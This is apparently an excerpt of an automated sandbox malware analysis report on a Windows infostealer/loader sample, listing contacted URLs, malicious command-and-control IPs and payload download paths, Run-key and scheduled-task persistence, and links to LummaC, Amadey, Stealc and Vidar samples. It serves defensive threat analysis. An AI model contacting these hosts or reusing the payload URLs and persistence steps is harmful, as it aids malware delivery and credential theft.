https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=fK65ckRAjZr-&	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/Local	5912d4444a.exe, 00000019.00000002.2994508562.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-daily-2.corp.google.com/	manifest.json.8.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=1vfyNnvUqkgy&l=engl	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2280620657.000000002366D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827345381.00000000055A6000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2827232763.00000000055AE000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	5912d4444a.exe, 00000019.00000003.2844532076.0000000005592000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2195884896.00000000007FA000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2816661923.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949339937.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949565383.00000000052C8000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2949231707.00000000052CB000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3248389050.00000000059BA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json.8.dr	false		high
https://lv.queniujq.cn	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	5912d4444a.exe, 00000019.00000003.2805655232.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpsb	b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=f9;S	5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpSI	file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-daily-5.corp.google.com/	manifest.json.8.dr	false		high
https://marshal-zhukov.com/api~r	5912d4444a.exe, 00000019.00000003.2867924902.0000000005541000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_487.3.dr	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://store.steampoweW	5912d4444a.exe, 00000019.00000003.2805400479.00000000008E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/	5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	file.exe, 00000000.00000003.2346028066.00000000237EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000018.00000002.3297282430.0000000001699000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllS	file.exe, 00000000.00000002.2422651725.00000000007A8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/luma/random.exelencoded	skotes.exe, 00000018.00000002.3297282430.000000000164E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://drive-preprod.corp.google.com/	manifest.json.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://msn.comXIDv10	5912d4444a.exe, 00000019.00000003.2832155231.000000000557C000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833502015.0000000005566000.00000004.00000800.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2833862460.0000000005568000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	false		high
http://185.215.113.16/off/def.exe	5912d4444a.exe, 00000019.00000002.2994508562.00000000008BD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json0.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=g2Zx7e0yBV_M&l=english	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938559682.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938740486.0000000000885000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938868922.0000000000899000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fas	5912d4444a.exe, 0000001F.00000002.3289202367.0000000000885000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.43/Zu7JuNko/index.phpV	skotes.exe, 00000018.00000002.3297282430.000000000166B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://help.steampowered.com/en/	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpg	b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2458742707.00000000236C2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://marshal-zhukov.com/apii	5912d4444a.exe, 00000019.00000003.2843454821.000000000092E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://marshal-zhukov.com/O7	5912d4444a.exe, 0000001F.00000002.3289202367.00000000008D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpp	file.exe, 00000000.00000002.2422651725.00000000007C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php)S.	file.exe, 00000000.00000002.2458742707.00000000236D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2796563852.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log0.8.dr	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=ftiDdX_V0QeB&l=englis	5912d4444a.exe, 00000019.00000003.2796536615.0000000000916000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805337265.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000019.00000003.2805524502.0000000000924000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938248726.00000000008D4000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 0000001F.00000003.2938665307.00000000008D7000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212763245.00000000011EF000.00000004.00000020.00020000.00000000.sdmp, 5912d4444a.exe, 00000022.00000003.3212719388.0000000001201000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpx	b84e35a556.exe, 00000020.00000002.3038650924.000000000172B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phpu	5912d4444a.exe, 00000019.00000002.2994508562.0000000000937000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://marshal-zhukov.com/apis	5912d4444a.exe, 00000022.00000002.3299740608.00000000011A7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206/c4becf79229cb002.phpy	5912d4444a.exe, 00000019.00000002.2994508562.0000000000937000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/Microsoft	b84e35a556.exe, 0000001B.00000002.2865698823.0000000000B53000.00000004.00000020.00020000.00000000.sdmp, b84e35a556.exe, 00000023.00000002.3273738251.000000000154B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.88.35	unknown	United States	16625	AKAMAI-ASUS	false
23.192.247.89	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
104.126.116.11	unknown	United States	20940	AKAMAI-ASN1EU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
104.126.116.17	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.91.96.185	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	marshal-zhukov.com	European Union	13335	CLOUDFLARENETUS	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.185.78	plus.l.google.com	United States	15169	GOOGLEUS	false
23.57.90.111	unknown	United States	35994	AKAMAI-ASUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
20.42.73.27	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.129	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
18.65.39.28	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1553938
Start date and time:	2024-11-11 19:51:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@89/307@62/28
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.99, 172.217.18.110, 74.125.206.84, 34.104.35.123, 142.250.185.67, 142.250.184.234, 216.58.212.138, 172.217.16.202, 216.58.206.74, 172.217.18.10, 142.250.186.42, 142.250.186.106, 216.58.206.42, 142.250.185.106, 142.250.186.74, 142.250.184.202, 142.250.74.202, 142.250.181.234, 142.250.186.138, 172.217.23.106, 142.250.185.74, 142.250.185.138, 142.250.185.170, 142.250.185.234, 172.217.18.106, 142.250.185.202, 142.250.186.170, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.74.206, 13.107.6.158, 4.175.223.124, 2.19.126.145, 2.19.126.152, 2.23.209.176, 2.23.209.179, 2.23.209.177, 2.23.209.181, 2.23.209.185, 2.23.209.189, 2.23.209.182, 2.23.209.193, 2.23.209.187, 2.16.164.32, 2.16.164.74, 2.23.209.140, 2.23.209.148, 2.23.209.158, 2.23.209.135, 2.23.209.160, 2.23.209.150, 2.23.209.149, 2.23.209.141, 23.38.98.90, 23.38.98.91, 23.38.98.89, 23.38.98.87, 23.38.98.93, 23.38.98.92, 23.38.98.86, 23.38.98.88, 23.38.98.85, 2.23.209.183, 13.74.129.1, 20
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficman
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:52:26	API Interceptor	15x Sleep call for process: file.exe modified
13:53:01	API Interceptor	960x Sleep call for process: skotes.exe modified
13:53:10	API Interceptor	54x Sleep call for process: 5912d4444a.exe modified
13:53:30	API Interceptor	24x Sleep call for process: b84e35a556.exe modified
19:52:33	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
19:53:12	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5912d4444a.exe C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe
19:53:20	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run b84e35a556.exe C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe
19:53:28	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 9ec07c9018.exe C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe
19:53:37	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5912d4444a.exe C:\Users\user\AppData\Local\Temp\1005596001\5912d4444a.exe
19:53:45	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run b84e35a556.exe C:\Users\user\AppData\Local\Temp\1005597001\b84e35a556.exe
19:53:53	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 9ec07c9018.exe C:\Users\user\AppData\Local\Temp\1005599001\9ec07c9018.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	95.100.48.249
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.192.247.89
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	SAFAIR - MDE_File_Sample_c4fda6eee21550785a1c89ce291a2d3072e0ed9b.zip	Get hash	malicious	Unknown	Browse	162.159.61.3
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
